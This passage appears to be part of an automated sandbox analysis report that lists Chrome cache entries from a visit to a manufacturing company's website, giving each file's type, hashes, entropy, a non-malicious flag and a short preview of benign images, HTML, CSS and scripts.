SSDEEP:	1536:U1JZX+iwApm8DJPEo/qkVThNYv0h3Tkd8cBuGoDWN6m:SJZfpm8FPEIlev0h3INB8DWP
MD5:	F2D56F0A12C3C1C38B1C0906F7B74813
SHA1:	C14CE95C32C1E910D9132B8A26D822A4132E8130
SHA-256:	DDB26FC63365E907C567A425DA1735B0A34744BA28CA74809CF42AA0096FFCB2
SHA-512:	8FFB2DC209F73F89795D4A2F5FA286FF0B1E5521FA743F3888958EF7E85F5970839E2A1711711A46406B4015DC1A7845912CA2DFCC86B86976F50EF93C704E29
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2015/08/logistics-hero.jpg
Preview:	......Exif..II*.................Ducky.......2......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:6f6f0b6c-41a0-4ee0-9358-f7178b64928b" xmpMM:DocumentID="xmp.did:76AE22F6596811E5BEEECBB76CCA2AC5" xmpMM:InstanceID="xmp.iid:64ECC768594311E5BEEECBB76CCA2AC5" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4d6a9d53-b437-43a8-b58c-d29938e7dba7" stRef:documentID="xmp.did:6f6f0b6c-41a0-4ee0-9358-f7178b64928b"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 156

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (8586), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	39678
Entropy (8bit):	5.4133565260420085
Encrypted:	false
SSDEEP:	768:vuWX0FZdapFciPTmmojB1bwoEL3F8xnIhW:OapC8TmmojB1bTA3F8xnIhW
MD5:	B52D81C57A5CFAA9B92B7342AA11BAD7
SHA1:	88AF6468B17D738CFA4E283956EAE32ED095E021
SHA-256:	105684DCA97A11A539670615D6A1E431D6567DF33F8637E3BB0B67C07D167054
SHA-512:	BEAD8D0A942D1DECD7F5CD4A3B0DE6EAD25DFF03BA6F796210C30E1FDA4BC4212677E7CC76C120E2BBB815B0FF41010207DCB928F695EA1E644A6D3A5A7433EA
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/
Preview:	<!DOCTYPE html>.. [if IE 6]><html id="ie6" lang="en-US"><![endif]-->.. [if IE 7]><html id="ie7" lang="en-US"><![endif]-->.. [if IE 8]><html id="ie8" lang="en-US"><![endif]-->.. [if !(IE 6) \| !(IE 7) \| !(IE 8) ]> >..<html lang="ENH"> <![endif]-->..<head>..<meta charset="UTF-8">..<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" />....<link rel="icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico" type="image/x-icon" />..<link rel="shortcut icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico" type="image/x-icon" />..<link rel="apple-touch-icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/apple-touch-icon.png"/>..<meta name="msapplication-TileColor" content="#FFFFFF">..<meta name="msapplication-TileImage" content="https://www.twbcompany.com/2016/wp-content/themes/tw

Chrome Cache Entry: 157

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1209x403, components 3
Category:	downloaded
Size (bytes):	135808
Entropy (8bit):	7.984828276495795
Encrypted:	false
SSDEEP:	3072:ASEgNhhVdoBVb60W4yTU+owd7Mo6eJvr3NWJCc2wFCX5:AkdVOxW4qtH7h6el3dc2wFCX5
MD5:	E8755E7CABE9D79570FE3C7A06E3709E
SHA1:	C1AFCF1240FC6B3B506FD4BA48B9411A1FA98075
SHA-256:	812891EF571C79869577DE9390D51041653273D791F7A4F0A9ACAD6B500F3A94
SHA-512:	9992AD2EDF92ACC75CB17970DCBCF0AD96B7AF30D3C5DA0DDF00D955C5F3E9FAB66FCDB9A10748DF325F3A59441A295F6FCF216B853E1F72BE2223B569E3DE74
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2015/08/product-design-hero.jpg
Preview:	......Exif..II*.................Ducky.......2......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:6f6f0b6c-41a0-4ee0-9358-f7178b64928b" xmpMM:DocumentID="xmp.did:64ECC761594311E5BEEECBB76CCA2AC5" xmpMM:InstanceID="xmp.iid:64ECC760594311E5BEEECBB76CCA2AC5" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6f6f0b6c-41a0-4ee0-9358-f7178b64928b" stRef:documentID="xmp.did:6f6f0b6c-41a0-4ee0-9358-f7178b64928b"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 158

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (31988)
Category:	downloaded
Size (bytes):	70075
Entropy (8bit):	5.351014994797908
Encrypted:	false
SSDEEP:	1536:L+i0S1TpywbZi31SPTnODPEGnVbg94ePcwD4wP1nN69X1SiraqXztGV51Aui:qY7ZbpwDw1u
MD5:	C6ED741BF77BB7697EDC4B20970EDDAA
SHA1:	ABB3F457397606F27136A41C02CE7FC87FC00E09
SHA-256:	D5ECF2F6D5B7937DD1AA50165B89193436347D55CB130951D41E028B1F09D3AF
SHA-512:	768B11552A21C317B539E43EABFAA5CD328EABCB3401DEA617552F314A02335D9D541B8299946C65130EB60F8AB947C9ADB085A41BDDFF3B59CA4970F0703619
Malicious:	false
Reputation:	low
URL:	https://j.6sc.co/6si.min.js
Preview:	!function(){var t={},e={},n={},i={},r={},o={},a={},s={},u={},l={},c={},d={},f={},h={},p={},m={},v={},b={},y={},g={},w={},_={},E={},k={},S={},C={},T={},F={},x={},A={},I={},M={},U={},L={},P={},N=this&&this.__spreadArray\|\|function(t,e,n){if(n\|\|2===arguments.length)for(var i,r=0,o=e.length;r<o;r++)!i&&r in e\|\|(i\|\|(i=Array.prototype.slice.call(e,0,r)),i[r]=e[r]);return t.concat(i\|\|Array.prototype.slice.call(e))},D=this&&this.__extends\|\|function(){var t=function(e,n){return(t=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(t[n]=e[n])})(e,n)};return function(e,n){function i(){this.constructor=e}if("function"!=typeof n&&null!==n)throw new TypeError("Class extends value "+String(n)+" is not a constructor or null");t(e,n),e.prototype=null===n?Object.create(n):(i.prototype=n.prototype,new i)}}(),O=this&&this.__assign\|\|function(){return O=Object.assign\|\|function(t){for(var e,n=1,i=argument

Chrome Cache Entry: 159

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1209x403, components 3
Category:	dropped
Size (bytes):	79958
Entropy (8bit):	7.978572741241776
Encrypted:	false
SSDEEP:	1536:Xey08gI3fFbCHKdr57MaabF+U6mcy84KZ10fK1r6p8e80SjsU1QPRKdX3LHYd:ur8L3fgK9Ctbl61Z1QVp8eDE14RY6
MD5:	7F5E1AC593AA0EC9DDA08D9E962FB1DD
SHA1:	FB226D05EBCCEFBA7B4AF1F42640C7006EC6317F
SHA-256:	5DE87810954CBAAF2163F6113F3415C2270D44F9E18C101FD04B1695BAB76D7C
SHA-512:	B97F56E705834ACC277C012152CE79BEF64FFE53F5E4996581801FA098A8BC46FD588203E82035BC9B70A74AD2D8C3A00366287FE01B0E30E5FFE6A48AF8DFB0
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......2......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:6f6f0b6c-41a0-4ee0-9358-f7178b64928b" xmpMM:DocumentID="xmp.did:A896CEF058E411E5BEEECBB76CCA2AC5" xmpMM:InstanceID="xmp.iid:A896CEEF58E411E5BEEECBB76CCA2AC5" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6f6f0b6c-41a0-4ee0-9358-f7178b64928b" stRef:documentID="xmp.did:6f6f0b6c-41a0-4ee0-9358-f7178b64928b"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 160

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1644x424, components 3
Category:	dropped
Size (bytes):	101288
Entropy (8bit):	7.96849431024827
Encrypted:	false
SSDEEP:	3072:hTFdAKcqPPnyfE940VcgCNvy7E5cEMWtwh:hTF2KBeOJrNYO6eh
MD5:	E3158858361AF00EBF031F6F20545C86
SHA1:	8306AC941C5841F39A8887F6F887A863860B0C95
SHA-256:	EBE66E9F2CD47FE71C4EC1994F56CB3DDB361546CF86488C1E18E4CCAF30BA5D
SHA-512:	E9C95CA9A1AD24079EFE6CD154CA852FEFB1E2D6ACC622C8112E5ED2AC43E9BC3A218298869A3F421DFE1081AD5C9E286C2D0B72D04192486274A025F5548806
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......<.....,http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c005 79.164590, 2020/12/09-11:57:44 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 2021 Macintosh" xmpMM:InstanceID="xmp.iid:71E6EB65752911EBB9EAC7E370366254" xmpMM:DocumentID="xmp.did:71E6EB66752911EBB9EAC7E370366254"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:71E6EB63752911EBB9EAC7E370366254" stRef:documentID="xmp.did:71E6EB64752911EBB9EAC7E370366254"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d................................................................................................................................

Chrome Cache Entry: 161

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	14747
Entropy (8bit):	4.8752118617287
Encrypted:	false
SSDEEP:	384:DeHGoHTP7DzD/JGveshyJF9G0pkjlJkDRNEvTrg:DeHfH73MveshyJFw0pkjlJkDRNEvTrg
MD5:	3789FBBD00D8395DFAD57AF317B6AC12
SHA1:	3E1C23A47F3666FD8FA6BCEA6D1E345DFB5BCC5C
SHA-256:	7B030D01350853617C9133B2E211CACAAC8A0D02C0A5C71B7A906FE48401BE19
SHA-512:	36EC0400EC51251216DDA1A4C449603070875AEDB0033E3018A313426885884E4B42E7C1A1E82E8EFCAB3C3D6CABF50DFE7D9623BCC18389478994F10DD50709
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/style.css?ver=6.5.4
Preview:	/.Theme Name: twb_2016.Theme URI: http://underscores.me/.Author: Pageworks.Author URI: http://www.page.works.Description: A custom theme for TWB Company, LLC.Version: 1.0.0.License: GNU General Public License v2 or later.License URI: http://www.gnu.org/licenses/gpl-2.0.html.Text Domain: twb_2016.Tags:..This theme, like WordPress, is licensed under the GPL..Use it to make something cool, have fun, and share what you've learned with others...twb_2016 is based on Underscores http://underscores.me/, (C) 2012-2015 Automattic, Inc..Underscores is distributed under the terms of the GNU GPL v2 or later...Normalizing styles have been helped along thanks to the fine work of.Nicolas Gallagher and Jonathan Neal http://necolas.github.com/normalize.css/./../*--------------------------------------------------------------.>>> TABLE OF CONTENTS:.----------------------------------------------------------------.# Normalize.# Typography.# Elements.# Forms.# Navigation..## Links..## Menus.# Accessibility

Chrome Cache Entry: 162

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (8586), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	35548
Entropy (8bit):	5.416543870977647
Encrypted:	false
SSDEEP:	768:vr7ZbX0FZdapFciPTmmomB1bwogdwur8xnIhW:DwapC8TmmomB1bTJur8xnIhW
MD5:	ECF9076C78D79D9C00E3D65891889B47
SHA1:	CC1686B0673143976177608E823A04E276AC9858
SHA-256:	B3C3FD6523B45E30948CAC709BA434245CAC20D6EB4F428DD86D7A8A0D449AB2
SHA-512:	9A98F002070BA3D6D6091BA9FDBDB27678EEFB02B174142349C982A4C3500DAE747F0E8CFA87E9DC55821A5D7691B269536042560D5463C610726B1EA689A765
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/services/logistics-and-service/
Preview:	<!DOCTYPE html>.. [if IE 6]><html id="ie6" lang="en-US"><![endif]-->.. [if IE 7]><html id="ie7" lang="en-US"><![endif]-->.. [if IE 8]><html id="ie8" lang="en-US"><![endif]-->.. [if !(IE 6) \| !(IE 7) \| !(IE 8) ]> >..<html lang="ENH"> <![endif]-->..<head>..<meta charset="UTF-8">..<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" />....<link rel="icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico" type="image/x-icon" />..<link rel="shortcut icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico" type="image/x-icon" />..<link rel="apple-touch-icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/apple-touch-icon.png"/>..<meta name="msapplication-TileColor" content="#FFFFFF">..<meta name="msapplication-TileImage" content="https://www.twbcompany.com/2016/wp-content/themes/tw

Chrome Cache Entry: 163

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1644x424, components 3
Category:	downloaded
Size (bytes):	101288
Entropy (8bit):	7.96849431024827
Encrypted:	false
SSDEEP:	3072:hTFdAKcqPPnyfE940VcgCNvy7E5cEMWtwh:hTF2KBeOJrNYO6eh
MD5:	E3158858361AF00EBF031F6F20545C86
SHA1:	8306AC941C5841F39A8887F6F887A863860B0C95
SHA-256:	EBE66E9F2CD47FE71C4EC1994F56CB3DDB361546CF86488C1E18E4CCAF30BA5D
SHA-512:	E9C95CA9A1AD24079EFE6CD154CA852FEFB1E2D6ACC622C8112E5ED2AC43E9BC3A218298869A3F421DFE1081AD5C9E286C2D0B72D04192486274A025F5548806
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2020/11/commercial-truck-header.jpg
Preview:	......Exif..II*.................Ducky.......<.....,http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c005 79.164590, 2020/12/09-11:57:44 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 2021 Macintosh" xmpMM:InstanceID="xmp.iid:71E6EB65752911EBB9EAC7E370366254" xmpMM:DocumentID="xmp.did:71E6EB66752911EBB9EAC7E370366254"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:71E6EB63752911EBB9EAC7E370366254" stRef:documentID="xmp.did:71E6EB64752911EBB9EAC7E370366254"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d................................................................................................................................

Chrome Cache Entry: 164

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 235 x 202, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	17604
Entropy (8bit):	7.963820744847596
Encrypted:	false
SSDEEP:	384:QM7vqaqdOVz9fyMN7ySzE280j//Z+NMlks+1D4c9:hvkdOV88+ifryMlLwp9
MD5:	93B160E028062BC61FE93416C76E0F01
SHA1:	C106E388D0FB815AC60102B9815C4B9F96137460
SHA-256:	45768157C82C0DF974F1D17B82AAD640042F6853BDD09DF24FE6091F16152651
SHA-512:	AA8BCFE35D8BFB77130AC89AB6B846E3A5100CAAE9F63170726DBAD8B0C161A75859F4F0369781A9654B33976955A22BE2503C33F636CF463EADBDAA1681ACA3
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............D..F....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:2B93DE70439411E5B4CD90028FE3513D" xmpMM:InstanceID="xmp.iid:2B93DE6F439411E5B4CD90028FE3513D" xmp:CreatorTool="Adobe Photoshop CS5 Macintosh"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D6B6516FA6BB11E388DD85B00164A8CD" stRef:documentID="xmp.did:D6B65170A6BB11E388DD85B00164A8CD"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..TZ..A8IDATx...xTE..o7.Y. .8".FG.d.....A.dDF.....Q`..D..\...."K......W..5.HD...,..e.$A@ .;I...oo...u..ow.z...^.R.~.

Chrome Cache Entry: 165

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 961 x 12, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14686
Entropy (8bit):	7.9593736775439226
Encrypted:	false
SSDEEP:	192:DFq+r5ipc0Ckcs+4+xF07t60Cc96LwTRpTJXqxkJM6cVadNSAM4od618deMfDWyf:BqzgW+417lwsdHOqV7NapoW8cWyOvG5
MD5:	D69E99F3FF1FEC7A12E7B6CCB2F2CBB9
SHA1:	3A564871372848B00867E59F0F6EA29B0B48923D
SHA-256:	D46863CFFB4A1125E4EB8659788EE486C186A77A1D4861273A3F2885EA5EB8B8
SHA-512:	42E4C6850A4260C82409D2D83589ED2B59279C3FC6DEA9B25EFF65BD1084FE4D67BB984A4E1413294B290A024EE96716AB469715093C290FD24EE7F04D3ADB2D
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............B......tEXtSoftware.Adobe ImageReadyq.e<...(iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:30833223496011E5A918F78BFA243EFD" xmpMM:DocumentID="xmp.did:30833224496011E5A918F78BFA243EFD"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:30833221496011E5A918F78BFA243EFD" stRef:documentID="xmp.did:30833222496011E5A918F78BFA243EFD"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..7...5.IDATx..}..T.....)...t./HW.]...5.D.W...........bbW.Q.....RT..P..,,.M}.....{ovfvfY?.<?.....{...{.}...7

Chrome Cache Entry: 166

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (9203), with CRLF line terminators
Category:	dropped
Size (bytes):	9354
Entropy (8bit):	5.437202478156931
Encrypted:	false
SSDEEP:	192:ZlhJO3fJ6qQBJ835S5+GE+at1GHT1LDQdt0f7001U/VXeQjglAr:ZluQqIC5S5+Z+I1GHydtW7R1ue3lAr
MD5:	14EF69AA5126473F702EFC711DE5E445
SHA1:	12193314120D55C8DB7B18BE8BED49A2CE4A2EA2
SHA-256:	F1C8EBC86075B4C920E303A9ED6FDC8DE8E976532299362EA2E79267438DD00F
SHA-512:	0D267258C36A72F663E2CD878F0E7E8F861F12F6943D430E350F7B17CFAB310958CF2C09A099B31AABBA05B18E2948DBC5FA194A06CACAFE7A32F4E19D5517E5
Malicious:	false
Reputation:	low
Preview:	//(c)2021, MIT Style License <browser-update.org/LICENSE.txt>..//it is recommended to directly link to this file because we update the detection code.."use strict";var $bu_=new function(){var s=this;this.version="3.3.54";this.vsakt={c:"128",f:"130",s:"17.6",e:"129",i:"12",ios:"17.6",samsung:"27",o:"114",e_a:"128",o_a:"84",y:"24.7.8",v:"6.9",uc:"13.7.8"};this.vsinsecure_below={c:"126",f:"126",s:"11.1.1",e:"119",i:11,ios:"16.5",samsung:12.0,o:62,o_a:78,y:"20",v:"6.0",uc:"13.4"};this.vsdefault={c:-3,f:-3,s:-2,e:17,i:11,ios:12,samsung:-3,o:-3,o_a:-3,y:-1,v:-1,uc:-0.2,a:535};this.names={c:"Chrome",f:'Firefox',s:'Safari',e:"Edge",i:'Internet Explorer',ios:"iOS",samsung:"Samsung Internet",o:'Opera',o_a:'Opera',e_a:"Edge",y:"Yandex Browser",v:"Vivaldi",uc:"UC Browser",a:"Android Browser",x:"Other",silk:"Silk"};this.get_browser=function(ua){var n,ua=(ua\|\|navigator.userAgent).replace("_","."),r={n:"x",v:0,t:"other browser",age_years:undefined,no_device_update:false,available:s.vsakt};function ig

Chrome Cache Entry: 167

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1242 x 812, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	946004
Entropy (8bit):	7.991771177802332
Encrypted:	true
SSDEEP:	24576:mHhUMle42+NqWh2HoO31JGv7zKWzlhP56cuvfI:YTle4Ff2HoIC7mWzlz0Q
MD5:	C5AE760D04571E1C541EDB7D447EACCE
SHA1:	72C9CABD1CD63ABE503E04F4E075EA6DE7FC3DDB
SHA-256:	89FC64814E20C55C3A966E1D5DFA87FABA12F530F62143216FB566B9A49FA4CA
SHA-512:	10173B91551421BCBD84B14961FA3591F9149970EC59B7A570B9B4EEE2E5A0E239082A2FECEEB4C65820B26FE9BF674DBFD3ABA124C1A5E8B0A693991717376C
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......,............liCCPICC Profile..H..W.XS...[RIh..........B. ..6B.H(1&..;....E.+...V@..E.......bC.MH@.}.{....?g.....{.....J.Qm..$.......&.. @.... ..r);>>.@...]...P.:+..9._EW ...@.@.%... >..../...@T.&.J.x..z2. .+.8G..+q....IN.@\|..2.....y..E.....bW.@,.@k..\|.O..2.a......b{h/....XY.q...?k...........K.yS....o).W.....&.E&.5..7!Z.i.wI.b....X..;.(U..LQ.&\|9....@...FCl.q.$?6F.....s!....,..&Cl..\|.<,Im.Q6!Q....q.j.9......E^.[..F$..1.bQr..T......kB.".K.V.(.qb.ld.De...'.%.!~.([..../+...m....j..P.....v.....].J.).<B....\...0U..s.$%I..AZ...Z.S...j{.R....[B.)/JR..S...T......dU.xq./^.........L..#.L..@.......f....@...g.f`EZ...^.@1.."!......."..2.U].Av.lQ..<........oE...T..j........C9.....o.6..5...L..Kb.1..I.':..x ...k0..8.....=.)....p..N.=^\".!....k..}-p[......2...1p.=..6..={A-G.........wOCmGq...!.`...+5.5..Y....>.X........?....=.GKl>..;....c.....a.X.vD..w...5.-.?.<.#..?....r.Z.N...B..B...L.N..sD.L6\|;..\..e........F...6......\|......c}}

Chrome Cache Entry: 168

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (404)
Category:	downloaded
Size (bytes):	84022
Entropy (8bit):	4.852546297805691
Encrypted:	false
SSDEEP:	1536:cPAUaDpdA7aKnEEoUcIPFwTiGSp5PFUejvlNbrjHPFTEPFlm9KTwhmdU:cRaDQ7a9lFzPeDbrImETwhqU
MD5:	A7A5A1D967C5EFFD543BCFFDF1EE98A4
SHA1:	47BD4DE747899BEC3892126F7D02AC149149B294
SHA-256:	DDBDB0300F473040FA43F4D9B50169B1BC514D7B158F5946365C9D28DB85FB06
SHA-512:	84D5FF5C6F887223652A0E008991AB87F37F22D6403EA38ADDDCAB7EC0F50EA8B7735204DFABF8C95507E03FF71F8D921FBEFD912BAEBDD655C3588C0C7F58A3
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/styles/main.css?ver=6.5.4
Preview:	@charset "UTF-8";./* Fonts.********/.@import url(../fonts/fontello/css/fontello.css);.@import url("https://fonts.googleapis.com/css?family=Open+Sans:400,300,400italic,600,700,600italic\|Montserrat:400,700");./ Vendors.***********/./ Bitters 0.10.0. * http://bitters.bourbon.io. * Copyright 2013.2014 thoughtbot, inc.. * MIT License /./ line 1, ../../app/sass/vendors/base/extends/_button.scss /.button,.input[type="submit"] {. -webkit-font-smoothing: antialiased;. background-color: #003366;. border-radius: 3px;. color: white;. display: inline-block;. font-size: 1em;. font-weight: bold;. line-height: 1;. padding: 0.75em 1em;. text-decoration: none; }. / line 13, ../../app/sass/vendors/base/extends/_button.scss /. button:hover,. input[type="submit"]:hover {. background-color: #000d1a;. color: white; }. / line 18, ../../app/sass/vendors/base/extends/_button.scss */. button:disabled,. input[type="submit"]:disabled {. cursor: not-allowed;. opacity: 0.5; }.

Chrome Cache Entry: 169

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	downloaded
Size (bytes):	1150
Entropy (8bit):	3.0859863571819224
Encrypted:	false
SSDEEP:	12:ta/ampMdRNaeZbelEsKse2VnnhYRsxIh/P+na5BaJ:oSmpMcTEsK9AnYjh/P+a5s
MD5:	A2E0DC7C6DA05CECF78062CDE3B59A50
SHA1:	D0DCCCA38DC112E0F1947E305FCBE835D3B6861C
SHA-256:	C80C4A308CBBDF1491C064897D44026C8D2804EFB7961D451DA4570090B60B2D
SHA-512:	1DF2ACC03B2D1D0394E875AF339453764CBA5619F2A94FB66AE6F2AAAEEC7F9BF50240D51C28404E8915AB30F5AD2A3B08B57F153C460BF13E22C8D6AC61767F
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico
Preview:	............ .h.......(....... ..... .........#...#...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................hC,...v.....b<%.lH2.nK5.nJ4.jE/.pM8..~o.oL6.jE/..lZ.........uR>.L...[2..U+..U,....p.F...X/....q.D...lG2..eR.mI2.?.........jE/.{ZG.xWB.pM8...p.....yXD..\|m......aN.tR=.{[G.vT?..zj...............................................................................................................................................................................................................................................

Chrome Cache Entry: 170

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	42720
Entropy (8bit):	5.008454275070529
Encrypted:	false
